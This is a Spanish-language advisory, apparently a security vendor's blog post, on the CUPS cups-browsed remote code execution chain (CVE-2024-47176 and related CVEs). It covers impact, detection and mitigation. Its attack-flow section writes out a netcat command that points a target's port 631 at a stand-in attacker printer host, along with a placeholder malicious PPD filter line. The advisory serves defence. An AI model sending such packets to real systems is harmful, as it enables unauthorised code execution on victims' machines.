CVE-2024-47176: RCE en CUPS para Linux — 300 000 sistemas expuestos a Internet
Una cadena de cuatro vulnerabilidades de CUPS (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177) permite la ejecución remota de código sin autenticación en sistemas Linux que ejecutan cups-browsed. Más de 300 000 sistemas estaban expuestos a Internet cuando se divulgó. Afecta de forma predeterminada a Ubuntu, Debian, Red Hat, Fedora y a la mayoría de las distribuciones Linux.
| Atributo | Valor |
|---|---|
| CVE principal | CVE-2024-47176 |
| CVE relacionados | CVE-2024-47076, -47175, -47177 |
| Vector CVSS | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20: validación incorrecta de entradas |
| Publicado | 26 de septiembre de 2024 |
| Explotación | PoC pública — se ha observado escaneo oportunista |
¿Qué es CVE-2024-47176?
CUPS (sistema común de impresión de Unix) es la infraestructura de impresión predeterminada en Linux y macOS. El demonio cups-browsed escucha en el puerto UDP 631 los anuncios de impresoras en la red. CVE-2024-47176 es el punto de entrada de una cadena de cuatro vulnerabilidades: cups-browsed acepta paquetes UDP de cualquier origen, incluido Internet, sin autenticación.
Al enviar un paquete UDP manipulado al puerto 631, un atacante puede hacer que el sistema de la víctima se conecte a una «impresora» controlada por el atacante. La impresora maliciosa proporciona un archivo PPD (descripción de impresora PostScript) manipulado que contiene comandos incrustados. Cuando la víctima imprime cualquier cosa, esos comandos se ejecutan en su sistema.
La cadena de ataque completa
| CVE | Componente | Descripción |
|---|---|---|
| CVE-2024-47176 | cups-browsed | Se vincula a UDP 0.0.0.0:631 y acepta paquetes de cualquier IP |
| CVE-2024-47076 | libcupsfilters | Los valores de atributos IPP no se sanean al crear archivos PPD |
| CVE-2024-47175 | libppd | La generación de archivos PPD no sanea los atributos IPP |
| CVE-2024-47177 | cups-filters | FoomaticRIPCommandLine permite la ejecución arbitraria de comandos |
Flujo del ataque
# Paso 1: El atacante envía un paquete UDP al objetivo:631 echo "0 3 http://attacker.com:8631/printers/evil" | nc -u -w1 target.com 631 # Paso 2: cups-browsed obtiene atributos IPP del servidor del atacante # El servidor del atacante devuelve atributos de impresora maliciosos # Paso 3: libcupsfilters/libppd crea un PPD con datos del atacante sin sanear # El PPD contiene: *cupsFilter: "application/vnd.cups-pdf 0 [attacker-cmd]" # Paso 4: La próxima vez que cualquier usuario imprima (o el administrador inicie una impresión de prueba): # FoomaticRIP ejecuta el comando del PPD # El comando se ejecuta como el usuario lp (que suele tener acceso considerable al sistema de archivos)
⚠ No se requiere interacción del usuario tras la configuración
El atacante solo necesita enviar un paquete UDP para establecer la impresora maliciosa. La explotación se activa cuando cualquier usuario del sistema intenta imprimir, incluidas tareas de impresión rutinarias que podrían producirse horas o días después. En servidores, un atacante también podría activar la explotación de forma remota enviando una tarea de impresión a la impresora maliciosa recién instalada.
Alcance del impacto
En el momento de la divulgación, los escaneos de Shodan y Censys identificaron aproximadamente 300 000 sistemas expuestos a Internet con el puerto UDP 631 abierto. La vulnerabilidad afecta prácticamente a todas las distribuciones Linux principales que incluyen cups-browsed:
- Ubuntu (cups-browsed está habilitado de forma predeterminada en las ediciones de escritorio)
- Debian y sus distribuciones derivadas
- Red Hat Enterprise Linux / CentOS / Rocky Linux
- Fedora
- Arch Linux
- La mayoría de las distribuciones Linux de escritorio
macOS no está afectado porque utiliza su propia pila de impresión. Sin embargo, macOS también utiliza CUPS internamente, por lo que determinadas configuraciones podrían verse afectadas por problemas relacionados.
Detección
# Comprobar si cups-browsed está en ejecución systemctl status cups-browsed ps aux | grep cups-browsed # Comprobar si UDP 631 está expuesto ss -ulnp | grep 631 netstat -ulnp | grep 631 # Comprobar si se han añadido impresoras inesperadas lpstat -a cat /etc/cups/printers.conf | grep -i "deviceuri\|remote" # Buscar archivos PPD sospechosos find /etc/cups /var/cache/cups -name "*.ppd" -newer /etc/cups/cups-browsed.conf # Comprobar los registros en busca de conexiones IPP inesperadas grep "cups-browsed" /var/log/cups/error_log | grep "Adding\|New printer"
Mitigación
- Detener y deshabilitar cups-browsed si no es necesario:
sudo systemctl stop cups-browsed sudo systemctl disable cups-browsed
- Aplicar los parches: cups-browsed 2.0.1 y cups-filters 2.0.1 corrigen las vulnerabilidades. Ubuntu, Debian y Red Hat publicaron parches pocos días después de la divulgación.
- Bloquear el puerto UDP 631 en el firewall: impedir que paquetes externos lleguen a cups-browsed
sudo iptables -A INPUT -p udp --dport 631 -j DROP sudo ufw deny 631/udp
- Eliminar FoomaticRIP si no es necesario: el último paso de la RCE requiere foomatic-rip. Eliminarlo (si no se utilizan impresoras Foomatic) suprime la capacidad de ejecutar código.
- Auditar las configuraciones de impresoras: eliminar cualquier entrada de impresora no reconocida de
/etc/cups/printers.conf
💡 La mayoría de los servidores no son vulnerables: las instalaciones de servidor de Linux normalmente no incluyen cups-browsed de forma predeterminada. El riesgo es mayor en estaciones de trabajo Linux y equipos de desarrollo. No obstante, debe auditarse cualquier sistema Linux configurado para imprimir.
Capacidad de detección de KENSAI
- Escaneo de puertos UDP: KENSAI identifica servicios UDP 631 expuestos a Internet en toda su superficie de ataque externa
- Identificación de servicios: identifica la versión de CUPS y la presencia de cups-browsed a partir de las respuestas de red
- Escaneo de la red interna: el escáner interno de KENSAI identifica cups-browsed en ejecución en estaciones de trabajo y servidores Linux internos
- Detección de versiones de paquetes: el escaneo basado en agentes identifica versiones vulnerables de paquetes CUPS en endpoints Linux
- Orientación para la remediación: instrucciones de remediación paso a paso con comandos específicos del sistema operativo para su distribución
¿Cuántos sistemas Linux de su entorno tienen cups-browsed expuesto?
KENSAI escanea su superficie de ataque interna y externa para detectar vulnerabilidades de CUPS en todos sus sistemas Linux. Obtenga una visión completa en cuestión de minutos.
Detectar la exposición de CUPS →